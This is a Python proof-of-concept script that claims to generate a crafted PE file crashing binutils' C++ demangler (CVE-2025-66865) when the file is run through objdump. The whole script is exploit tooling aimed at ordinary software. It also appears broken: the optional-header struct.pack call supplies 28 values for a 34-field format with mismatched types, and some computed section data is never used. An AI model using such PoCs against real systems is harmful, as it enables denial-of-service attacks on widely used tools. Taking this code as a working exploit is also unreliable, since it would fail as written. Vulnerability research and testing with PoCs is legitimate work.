#!/usr/bin/env python3
"""
CVE-2025-66865 PoC - BinUtils cp-demangle.c DoS via crafted PE file
This PoC generates a minimal PE file that triggers the vulnerability in
d_print_comp_inner function in cp-demangle.c
"""
import struct
import sys
def create_dos_header():
"""Create minimal DOS header"""
dos_header = bytearray(64)
struct.pack_into('<H', dos_header, 0, 0x5A4D) # e_magic
struct.pack_into('<I', dos_header, 60, 64) # e_lfanew
return dos_header
def create_pe_header():
"""Create PE header with crafted C++ mangled name data"""
# PE signature
pe_sig = struct.pack('<I', 0x00004550)
# COFF header
coff_header = struct.pack('<HHIIIHH',
0x014C, # Machine (i386)
1, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
224, # SizeOfOptionalHeader
0x0102 # Characteristics
)
# Optional header
optional_header = struct.pack('<HHBBIIIIIHHHHHHIIHHHHHHIIIIHHIIIII',
0x010B, # Magic
14, # MajorLinkerVersion
0, # MinorLinkerVersion
0, # SizeOfCode
0, # SizeOfInitializedData
0, # SizeOfUninitializedData
0, # AddressOfEntryPoint
0, # BaseOfCode
0, # BaseOfData
0x400000, # ImageBase
0x1000, # SectionAlignment
0x200, # FileAlignment
6, # MajorOperatingSystemVersion
0, # MinorOperatingSystemVersion
0, # MajorSubsystemVersion
0, # MinorSubsystemVersion
0, # Win32VersionValue
0, # SizeOfImage
0, # SizeOfHeaders
0, # CheckSum
3, # Subsystem (GUI)
0, # DllCharacteristics
0, # SizeOfStackReserve
0, # SizeOfStackCommit
0, # SizeOfHeapReserve
0, # SizeOfHeapCommit
0, # LoaderFlags
0 # NumberOfRvaAndSizes
)
# Section header with crafted debug info containing mangled names
# This triggers d_print_comp_inner with malformed data
section_name = b'.debug\x00\x00'
section_header = section_name
section_header += struct.pack('<IIIIIHHII',
0x1000, # VirtualSize
0x1000, # VirtualAddress
0x200, # SizeOfRawData
0x200, # PointerToRawData
0, # PointerToRelocations
0, # PointerToLinenumbers
0, # NumberOfRelocations
0, # NumberOfLinenumbers
0x42100040 # Characteristics
)
# Crafted debug data with malformed C++ mangled names
# These patterns are designed to trigger the vulnerability
malformed_mangled_names = b'_ZN' # C++ mangled name prefix
malformed_mangled_names += b'\x00' * 100 # Padding to trigger parsing error
malformed_mangled_names += b'_GLOBAL__' # Global constructor/destructor prefix
malformed_mangled_names += b'\xff\xff\xff' * 20 # Invalid characters
# Pad to section size
section_data = malformed_mangled_names.ljust(0x200, b'\x00')
return pe_sig + coff_header + optional_header + section_header
def generate_poc_pe():
"""Generate PoC PE file"""
pe_file = bytearray()
pe_file.extend(create_dos_header())
pe_file.extend(create_pe_header())
# Pad to file alignment
while len(pe_file) < 0x200:
pe_file.append(0)
# Add section data
section_data = b'_ZN' + b'\x00' * 100 + b'_GLOBAL__' + b'\xff\xff\xff' * 20
section_data = section_data.ljust(0x200, b'\x00')
pe_file.extend(section_data)
return bytes(pe_file)
if __name__ == '__main__':
print('[+] Generating CVE-2025-66865 PoC PE file')
poc_data = generate_poc_pe()
output_file = 'CVE-2025-66865-poc.exe'
with open(output_file, 'wb') as f:
f.write(poc_data)
print(f'[+] PoC file saved as: {output_file}')
print('[+] Usage: Run objdump or readelf on this file to trigger the vulnerability')
print('[+] Command: objdump -d ' + output_file)